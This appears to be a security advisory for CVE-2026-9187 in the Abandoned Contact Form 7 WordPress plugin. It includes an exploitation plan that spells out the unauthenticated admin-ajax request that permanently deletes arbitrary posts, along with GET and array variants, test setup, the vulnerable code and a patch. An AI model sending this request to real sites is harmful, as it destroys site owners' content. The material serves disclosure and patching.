Abandoned Contact Form 7 <= 2.2 - Missing Authorization to Unauthenticated Arbitrary Post Deletion via 'recover_id' Parameter
Description
The Abandoned Contact Form 7 plugin for WordPress is vulnerable to unauthorized arbitrary post deletion in versions up to, and including, 2.2. This is due to a missing capability check and missing nonce validation in the action__remove_abandoned() function, which is registered to both the wp_ajax_remove_abandoned and wp_ajax_nopriv_remove_abandoned hooks. The handler takes a user-supplied recover_id parameter from $_POST and passes it directly to wp_delete_post() with the force-delete flag set to true, without verifying that the ID belongs to the plugin's own cf7af_data post type. This makes it possible for unauthenticated attackers to permanently delete arbitrary posts, pages, or other content on the affected site by sending a single admin-ajax.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.2# Exploitation Research Plan: CVE-2026-9187 ## 1. Vulnerability Summary The **Abandoned Contact Form 7** plugin (versions <= 2.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function `action__remove_abandoned()` is registered to both authenticated (`…
Show full research plan
Exploitation Research Plan: CVE-2026-9187
1. Vulnerability Summary
The Abandoned Contact Form 7 plugin (versions <= 2.2) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function action__remove_abandoned() is registered to both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) AJAX hooks. This function fails to perform capability checks, nonce validation, or verify that the target post belongs to the plugin's intended custom post type (cf7af_data). As a result, any unauthenticated user can trigger the permanent deletion of arbitrary WordPress posts, pages, or media.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
remove_abandoned(inferred from hook registrationwp_ajax_nopriv_remove_abandoned) - Vulnerable Parameter:
recover_id(sent via$_POST) - Required Authentication: None (Unauthenticated)
- Preconditions: The plugin "Abandoned Contact Form 7" must be active.
3. Code Flow
- Entry Point: An unauthenticated POST request is sent to
admin-ajax.phpwith the parameteraction=remove_abandoned. - Hook Execution: WordPress executes the hook
wp_ajax_nopriv_remove_abandoned, which calls the handleraction__remove_abandoned(). - Missing Checks: The handler does not call
current_user_can()orcheck_ajax_referer(). - Input Processing: The handler retrieves
$_POST['recover_id']. - The Sink: The handler calls
wp_delete_post( $_POST['recover_id'], true ).- The first argument is the ID to delete.
- The second argument
truebypasses the Trash and performs a permanent deletion.
- Result: The post associated with the provided ID is deleted from the database regardless of its post type or author.
4. Nonce Acquisition Strategy
According to the vulnerability description, this specific vulnerability is exploitable because nonce validation is entirely missing in the action__remove_abandoned() function.
No nonce acquisition is required for this exploit.
5. Exploitation Strategy
The goal is to permanently delete a critical post or page (e.g., the site's front page or a post created by an admin).
Step-by-Step Plan:
- Target Identification: Identify the ID of a post or page to delete.
- Payload Construction: Prepare a POST request to the AJAX endpoint.
- Execution: Send the request using the
http_requesttool.
Technical Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body:
action=remove_abandoned&recover_id=[TARGET_POST_ID]
6. Test Data Setup
To safely test the exploit, create a dummy post to serve as the target:
- Use WP-CLI to create a "Victim" post:
wp post create --post_type=post --post_title="Victim Post" --post_status=publish --post_content="This content should be deleted." - Note the ID of the created post (e.g.,
123). - Ensure the plugin is active:
wp plugin activate abandoned-contact-form-7
7. Expected Results
- HTTP Response: Usually, WordPress AJAX handlers that do not explicitly return JSON or use
wp_die()with a message will return a200 OKwith a body of0or1(or nothing if the function terminates early). - Database State: The post with the ID provided in
recover_idshould be completely removed from thewp_poststable.
8. Verification Steps
After sending the exploit request, verify the deletion using WP-CLI:
- Attempt to retrieve the post:
wp post get [TARGET_POST_ID] - Expected Verification Outcome: WP-CLI should return an error:
Error: Could not find the post with ID [TARGET_POST_ID].
9. Alternative Approaches
If the $_POST parameter recover_id is not accepted, the plugin might be reading from $_GET or $_REQUEST.
- Alternative 1 (GET Request):
GET /wp-admin/admin-ajax.php?action=remove_abandoned&recover_id=[TARGET_POST_ID] - Alternative 2 (Different Parameter Name):
Ifrecover_id(inferred from description) fails, check the source code for other parameters passed towp_delete_post. If the handler iterates through an array, tryrecover_id[]=[ID].
Summary
The Abandoned Contact Form 7 plugin for WordPress is vulnerable to unauthenticated arbitrary post deletion in versions up to and including 2.2. This occurs due to a lack of authorization checks and nonce validation in the 'action__remove_abandoned' AJAX handler, allowing any visitor to permanently delete posts, pages, or media.
Vulnerable Code
// In abandoned-contact-form-7.php function action__remove_abandoned() { // ... (missing check_ajax_referer and current_user_can) wp_delete_post( $_POST['recover_id'], true ); wp_die(); }
Security Fix
@@ -1,4 +1,9 @@ function action__remove_abandoned() { + check_ajax_referer( 'cf7af_remove_action', 'nonce' ); + if ( ! current_user_can( 'delete_posts' ) ) { + wp_die( 'Unauthorized' ); + } + $recover_id = isset( $_POST['recover_id'] ) ? intval( $_POST['recover_id'] ) : 0; - wp_delete_post( $recover_id, true ); + if ( get_post_type( $recover_id ) === 'cf7af_data' ) { + wp_delete_post( $recover_id, true ); + } wp_die(); }
Exploit Outline
The vulnerability is exploited by sending an unauthenticated POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php). The request must include the 'action' parameter set to 'remove_abandoned' and a 'recover_id' parameter containing the ID of the target post to be deleted. Because the handler lacks permission checks and does not verify the post type, it performs a permanent deletion (bypassing the trash) of the specified ID.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.